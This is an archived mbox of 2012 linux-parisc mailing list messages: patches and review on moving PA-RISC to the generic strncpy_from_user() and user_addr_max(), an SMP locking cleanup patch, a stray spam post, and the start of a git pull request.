Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4466 gmane.linux.kernel.cross-arch:14312
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4466>

On Fri, 2012-05-25 at 16:16 -0400, David Miller wrote:
> From: James Bottomley <James.Bottomley@HansenPartnership.com>
> Date: Fri, 25 May 2012 14:59:52 +0100
> 
> > I'll queue this patch in our git repo.  It seems to work fine for us,
> > thanks, Dave!
> > 
> > Parisc people, I'm a bit worried about the #include <linux/sched.h> in
> > asm/uaccess.h ... I'm sure that's going to lead to complications later.
> > It's needed to get the dynamic TASK_SIZE, which expands through the task
> > structure to fill in user_addr_max() ... I'm thinking though that the
> > top of address space doesn't provide much protection on pa (since our
> > stack grows up towards it anyway, so we could just replace that with
> > ~0UL ... what do people think?
> 
> Do what I did on Sparc wrt. TASK_SIZE, that way you won't need to
> include linux/sched.h

Yes, we have all the machinery for a variable task_size, but we never
use it.

> The only reason you need linux/sched.h is to get
> test_tsk_thread_flag(), for your TASK_SIZE_OF().
> 
> But that's completely pointless for TASK_SIZE which only needs to look
> at the current thread's settings.
> 
> Thus if you use test_thread_flag() for TASK_SIZE, instead of trying to
> borrow TASK_SIZE_OF()'s implementation, you'll no longer have this
> linux/sched.h dependency.

Right, so we have thread_info in %cr30, but we still seem to be using a
vestigial struct thread_struct as well as a struct thread_info (so we
don't have all the info at the right level).  I'll code user_max_addr as

(segment_eq(get_fs(), USER_DS) ? TMP_TASK_SIZE : ~0UL)

And do TMP_TASK_SIZE as

(test_tsk_thread_flag(tsk,TIF_32BIT) ? DEFAULT_TASK_SIZE_32 :
DEFAULT_TASK_SIZE)

until we can get this sorted out properly (i.e. by removing task_size
from struct thread_struct)

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2] update parisc to use generic strncpy_from_user()
Date: Sat, 26 May 2012 09:48:19 +0100
Lines: 133
Approved: news@gmane.org
Message-ID: <1338022099.3087.2.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338022107 3539 80.91.229.3 (26 May 2012 08:48:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 26 May 2012 08:48:27 +0000 (UTC)
Cc: David Miller <davem@davemloft.net>
To: Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat May 26 10:48:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SYCfh-0002Z0-Ri
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 May 2012 10:48:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751904Ab2EZIsZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 May 2012 04:48:25 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58779 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751411Ab2EZIsX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 May 2012 04:48:23 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 96F168EE0E2;
	Sat, 26 May 2012 01:48:22 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 96ukwBb4jL_B; Sat, 26 May 2012 01:48:22 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9192D8EE0E0;
	Sat, 26 May 2012 01:48:21 -0700 (PDT)
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4467 gmane.linux.kernel.cross-arch:14317
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4467>

I'll queue this patch in our git repo.  It seems to work fine for us,
thanks, Dave!

v2: use test_thread_flag() for max addr determination instead of
tsk->thread.task_size

James

---

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index ddb8b24..3ff21b5 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -18,6 +18,7 @@ config PARISC
 	select IRQ_PER_CPU
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_SMP_IDLE_THREAD
+	select GENERIC_STRNCPY_FROM_USER
 
 	help
 	  The PA-RISC microprocessor is designed by Hewlett-Packard and used
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 0e8b7b8..1419924 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -40,12 +40,16 @@
 #define DEFAULT_TASK_SIZE32	(0xFFF00000UL)
 #define DEFAULT_MAP_BASE32	(0x40000000UL)
 
+/* FIXME: remove task_size from current->thread and remove TMP_TASK_SIZE */
 #ifdef CONFIG_64BIT
 #define DEFAULT_TASK_SIZE       (MAX_ADDRESS-0xf000000)
 #define DEFAULT_MAP_BASE        (0x200000000UL)
+#define TMP_TASK_SIZE		(test_thread_flag(TIF_32BIT) ? \
+					DEFAULT_TASK_SIZE32 : DEFAULT_TASK_SIZE)
 #else
 #define DEFAULT_TASK_SIZE	DEFAULT_TASK_SIZE32
 #define DEFAULT_MAP_BASE	DEFAULT_MAP_BASE32
+#define TMP_TASK_SIZE		DEFAULT_TASK_SIZE32
 #endif
 
 #ifdef __KERNEL__
diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 9ac0660..95e656b 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -5,6 +5,7 @@
  * User space memory access functions
  */
 #include <asm/page.h>
+#include <asm/pgtable.h>	/* for MAX_ADDRESS */
 #include <asm/cache.h>
 #include <asm/errno.h>
 #include <asm-generic/uaccess-unaligned.h>
@@ -218,15 +219,15 @@ struct exception_data {
 extern unsigned long lcopy_to_user(void __user *, const void *, unsigned long);
 extern unsigned long lcopy_from_user(void *, const void __user *, unsigned long);
 extern unsigned long lcopy_in_user(void __user *, const void __user *, unsigned long);
-extern long lstrncpy_from_user(char *, const char __user *, long);
+extern long strncpy_from_user(char *, const char __user *, long);
 extern unsigned lclear_user(void __user *,unsigned long);
 extern long lstrnlen_user(const char __user *,long);
-
 /*
  * Complex access routines -- macros
  */
+#define user_addr_max() \
+	(segment_eq(get_fs(), USER_DS) ? TMP_TASK_SIZE : ~0UL)
 
-#define strncpy_from_user lstrncpy_from_user
 #define strnlen_user lstrnlen_user
 #define strlen_user(str) lstrnlen_user(str, 0x7fffffffL)
 #define clear_user lclear_user
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index a7bb757..ceec85d 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -44,7 +44,6 @@ EXPORT_SYMBOL(__cmpxchg_u64);
 #endif
 
 #include <asm/uaccess.h>
-EXPORT_SYMBOL(lstrncpy_from_user);
 EXPORT_SYMBOL(lclear_user);
 EXPORT_SYMBOL(lstrnlen_user);
 
diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index 1bd23cc..6f2d935 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -61,47 +61,6 @@
 	.endm
 
 	/*
-	 * long lstrncpy_from_user(char *dst, const char *src, long n)
-	 *
-	 * Returns -EFAULT if exception before terminator,
-	 *         N if the entire buffer filled,
-	 *         otherwise strlen (i.e. excludes zero byte)
-	 */
-
-ENTRY(lstrncpy_from_user)
-	.proc
-	.callinfo NO_CALLS
-	.entry
-	comib,=     0,%r24,$lsfu_done
-	copy        %r24,%r23
-	get_sr
-1:      ldbs,ma     1(%sr1,%r25),%r1
-$lsfu_loop:
-	stbs,ma     %r1,1(%r26)
-	comib,=,n   0,%r1,$lsfu_done
-	addib,<>,n  -1,%r24,$lsfu_loop
-2:      ldbs,ma     1(%sr1,%r25),%r1
-$lsfu_done:
-	sub         %r23,%r24,%r28
-$lsfu_exit:
-	bv          %r0(%r2)
-	nop
-	.exit
-ENDPROC(lstrncpy_from_user)
-
-	.section .fixup,"ax"
-3:      fixup_branch $lsfu_exit
-	ldi         -EFAULT,%r28
-	.previous
-
-	.section __ex_table,"aw"
-	ASM_ULONG_INSN 1b,3b
-	ASM_ULONG_INSN 2b,3b
-	.previous
-
-	.procend

From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] update parisc to use generic strncpy_from_user()
Date: Mon, 28 May 2012 13:57:09 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <CADZpyiyZX8QNDzWhpJfQS4YWYh24uG37AZYEP4gW63uqCW+W_A@mail.gmail.com>
References: <1338022099.3087.2.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1338227834 27997 80.91.229.3 (28 May 2012 17:57:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 28 May 2012 17:57:14 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org, David Miller <davem@davemloft.net>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Mon May 28 19:57:12 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1SZ4Br-0005Ur-Jq
	for glka-linux-arch@plane.gmane.org; Mon, 28 May 2012 19:57:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753317Ab2E1R5L convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 28 May 2012 13:57:11 -0400
Original-Received: from mail-pz0-f46.google.com ([209.85.210.46]:33534 "EHLO
	mail-pz0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753049Ab2E1R5K convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 28 May 2012 13:57:10 -0400
Original-Received: by dady13 with SMTP id y13so4392899dad.19
        for <multiple recipients>; Mon, 28 May 2012 10:57:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=Mm/mfjaRVUBG/JFnYBTNXDzdp7g4KY3vxwx4QVYHkHA=;
        b=vdW4NOW+XAILL+LRBLTBmQoxAFnm3ptG5OUt3q83SKIocmJXltIpT/km4r7m2ZoTae
         AZLcrwPTAb3bH1Da8V3/1iZp59cgtO+KREFtsNUo4VeW6jiyCz8PtiYhIBWuXUHXLvah
         IcApfgbsfrnyTLZMI1H2v74YkDkU7BACVB7qEzuhyrmFeA5U848C/1EkyU+zRKISWjWw
         2Ke5Fop02lkJCXIflaV/12AEkRdoAOyZklVfJrx2DbXOyv++2AtbYSAr8ntqE1AFeDXp
         Nu7CvKFudGNkoaO9LLmAY5+j/Q7B9piEHgcz2iJMgURCobxOYukDPtRG4lZ22eQmAwg3
         U46A==
Original-Received: by 10.68.222.197 with SMTP id qo5mr3133151pbc.72.1338227829780; Mon,
 28 May 2012 10:57:09 -0700 (PDT)
Original-Received: by 10.68.26.67 with HTTP; Mon, 28 May 2012 10:57:09 -0700 (PDT)
In-Reply-To: <1338022099.3087.2.camel@dabdike.int.hansenpartnership.com>
X-Google-Sender-Auth: Qj7VAq2YFLUl3k5EBnRCTE2C_Xs
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:14336 gmane.linux.ports.parisc:4469
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/14336>

On Sat, May 26, 2012 at 4:48 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> I'll queue this patch in our git repo. =A0It seems to work fine for u=
s,
> thanks, Dave!
>
> v2: use test_thread_flag() for max addr determination instead of
> tsk->thread.task_size
>

Doesn't this seems like wasted instructions on the hot path? I fully
agree with you that on PA, where the stack grows up, there isn't
anything to run into up there.

On PA the failure case is still likely going to be one where you copy
all the way through the stack (which would appear valid to the kernel)
and fault on the first unmapped page and return -EFAULT.

I'd rather see a compile-time constant like you originally suggested.

Cheers,
Carlos.

From - Thu Nov 08 21:08:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yong Zhang <yong.zhang0@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [RFC PATCH 03/10] parisc: smp: remove call to ipi_call_lock()/ipi_call_unlock()
Date: Tue, 29 May 2012 15:15:58 +0800
Lines: 43
Approved: news@gmane.org
Message-ID: <1338275765-3217-4-git-send-email-yong.zhang0@gmail.com>
References: <1338275765-3217-1-git-send-email-yong.zhang0@gmail.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: dough.gmane.org 1338275822 7862 80.91.229.3 (29 May 2012 07:17:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 29 May 2012 07:17:02 +0000 (UTC)
Cc: ralf@linux-mips.org, sshtylyov@mvista.com, david.daney@cavium.com,
	nikunj@linux.vnet.ibm.com, paulmck@linux.vnet.ibm.com,
	axboe@kernel.dk, mingo@kernel.org, tglx@linutronix.de,
	peterz@infradead.org, akpm@linux-foundation.org,
	srivatsa.bhat@linux.vnet.ibm.com,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 29 09:16:59 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SZGfp-0006tX-T3
	for glpp-linux-parisc@plane.gmane.org; Tue, 29 May 2012 09:16:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753178Ab2E2HQ4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 29 May 2012 03:16:56 -0400
Original-Received: from mail-vc0-f174.google.com ([209.85.220.174]:55810 "EHLO
	mail-vc0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751938Ab2E2HQy (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 29 May 2012 03:16:54 -0400
Original-Received: by vcbf11 with SMTP id f11so1864292vcb.19
        for <multiple recipients>; Tue, 29 May 2012 00:16:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=from:to:cc:subject:date:message-id:x-mailer:in-reply-to:references;
        bh=CGCobk2GVOdwegAtDI0MUNTWGMrrZebJS/Of3ZiVQyo=;
        b=tILytDC+ZakDbyQQenN4OmUEfFHjI5j5S21q1DzHO5gcy04X61OEqxjr1P3y65RP8t
         MXlHIhmWj9NIXR/y5W42Cn/acyg1iTsEWO2KENuiI0CVhnRa+HbupKdr2xXQI9kJ20Qt
         9PdXecRBvR+yz0bFis3JEgEbdmiF4rw5fZoDAI1qjsJSy15Q0YjJY64+gGJZyUXVa8KO
         RJBqSZq/ntlYiNbMxhzWNmzYrnSFntXS/ay2CZYUe0IVa5Jg5Bdou3JjoZC1WVbA3Tz3
         FaclWPV852Ac0EoEVn/MK/KxQavdME0cjg1P7zBq0WlSQG25EXS7aylOPgeeQkthFtnK
         t1xg==
Original-Received: by 10.221.1.5 with SMTP id no5mr11448053vcb.67.1338275813360;
        Tue, 29 May 2012 00:16:53 -0700 (PDT)
Original-Received: from localhost ([61.148.56.138])
        by mx.google.com with ESMTPS id i4sm22973235vdk.8.2012.05.29.00.16.45
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 29 May 2012 00:16:52 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
In-Reply-To: <1338275765-3217-1-git-send-email-yong.zhang0@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4471 gmane.linux.kernel:1304835
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4471>

From: Yong Zhang <yong.zhang@windriver.com>

1) call_function.lock used in smp_call_function_many() is just to protect
   call_function.queue and &data->refs, cpu_online_mask is outside of the
   lock. And it's not necessary to protect cpu_online_mask,
   because data->cpumask is pre-calculate and even if a cpu is brougt up
   when calling arch_send_call_function_ipi_mask(), it's harmless because
   validation test in generic_smp_call_function_interrupt() will take care
   of it.

2) For cpu down issue, stop_machine() will guarantee that no concurrent
   smp_call_fuction() is processing.

Signed-off-by: Yong Zhang <yong.zhang0@gmail.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 arch/parisc/kernel/smp.c |    2 --
 1 files changed, 0 insertions(+), 2 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index a47828d..6266730 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -300,9 +300,7 @@ smp_cpu_init(int cpunum)
 
 	notify_cpu_starting(cpunum);
 
-	ipi_call_lock();
 	set_cpu_online(cpunum, true);
-	ipi_call_unlock();
 
 	/* Initialise the idle task for this CPU */
 	atomic_inc(&init_mm.mm_count);
-- 
1.7.5.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jhon Cole <colejhon1@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: POSTING OFFER OF YOUR ADD.
Date: Wed, 30 May 2012 20:08:41 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <78a876bd1e5e38ea0a7dd497943bed9e@www.waqarzaka.com>
Reply-To: colejhon1@gmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1338446204 7414 80.91.229.3 (31 May 2012 06:36:44 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 31 May 2012 06:36:44 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 31 08:36:42 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SZyzw-0005Ni-QI
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 May 2012 08:36:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752566Ab2EaGgi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 May 2012 02:36:38 -0400
Original-Received: from unassigned.psychz.net ([74.117.62.59]:47024 "EHLO
	gold.host786.com" rhost-flags-OK-FAIL-OK-OK) by vger.kernel.org
	with ESMTP id S1751962Ab2EaGgi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 May 2012 02:36:38 -0400
X-Greylist: delayed 23277 seconds by postgrey-1.27 at vger.kernel.org; Thu, 31 May 2012 02:36:38 EDT
Original-Received: from nobody by gold.host786.com with local (Exim 4.77)
	(envelope-from <nobody@gold.host786.com>)
	id 1SZswT-00030s-RC
	for linux-parisc@vger.kernel.org; Wed, 30 May 2012 20:08:41 -0400
X-Priority: 1
X-Mailer: PHPMailer (phpmailer.sourceforge.net) [version ]
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - gold.host786.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12]
X-AntiAbuse: Sender Address Domain - gold.host786.com
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4472>

Hello,
Are you a good cleaner ( House cleaning) ,kindly reply if yes  cause i got an offer for you.

Regards
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2] update parisc to use generic strncpy_from_user()
Date: Thu, 31 May 2012 11:11:49 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <1338459109.3073.13.camel@dabdike.int.hansenpartnership.com>
References: <1338022099.3087.2.camel@dabdike.int.hansenpartnership.com>
	 <CADZpyiyZX8QNDzWhpJfQS4YWYh24uG37AZYEP4gW63uqCW+W_A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338459116 8142 80.91.229.3 (31 May 2012 10:11:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 31 May 2012 10:11:56 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org, David Miller <davem@davemloft.net>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 31 12:11:55 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Sa2ME-0004iP-7L
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 May 2012 12:11:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752124Ab2EaKLx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 May 2012 06:11:53 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37210 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750742Ab2EaKLx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 May 2012 06:11:53 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 700448EE151;
	Thu, 31 May 2012 03:11:52 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DqIVTlyoEd1q; Thu, 31 May 2012 03:11:52 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4460A8EE0E4;
	Thu, 31 May 2012 03:11:51 -0700 (PDT)
In-Reply-To: <CADZpyiyZX8QNDzWhpJfQS4YWYh24uG37AZYEP4gW63uqCW+W_A@mail.gmail.com>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4473 gmane.linux.kernel.cross-arch:14341
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4473>

On Mon, 2012-05-28 at 13:57 -0400, Carlos O'Donell wrote:
> On Sat, May 26, 2012 at 4:48 AM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > I'll queue this patch in our git repo.  It seems to work fine for us,
> > thanks, Dave!
> >
> > v2: use test_thread_flag() for max addr determination instead of
> > tsk->thread.task_size
> >
> 
> Doesn't this seems like wasted instructions on the hot path? I fully
> agree with you that on PA, where the stack grows up, there isn't
> anything to run into up there.
> 
> On PA the failure case is still likely going to be one where you copy
> all the way through the stack (which would appear valid to the kernel)
> and fault on the first unmapped page and return -EFAULT.
> 
> I'd rather see a compile-time constant like you originally suggested.

OK, I'll modify it just to be ~0UL.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for the 3.4+ merge window
Date: Thu, 31 May 2012 11:57:20 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <1338461840.3073.15.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1338461857 29980 80.91.229.3 (31 May 2012 10:57:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 31 May 2012 10:57:37 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 31 12:57:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Sa34I-0002Du-SB
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 May 2012 12:57:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751799Ab2EaK50 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 May 2012 06:57:26 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37282 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
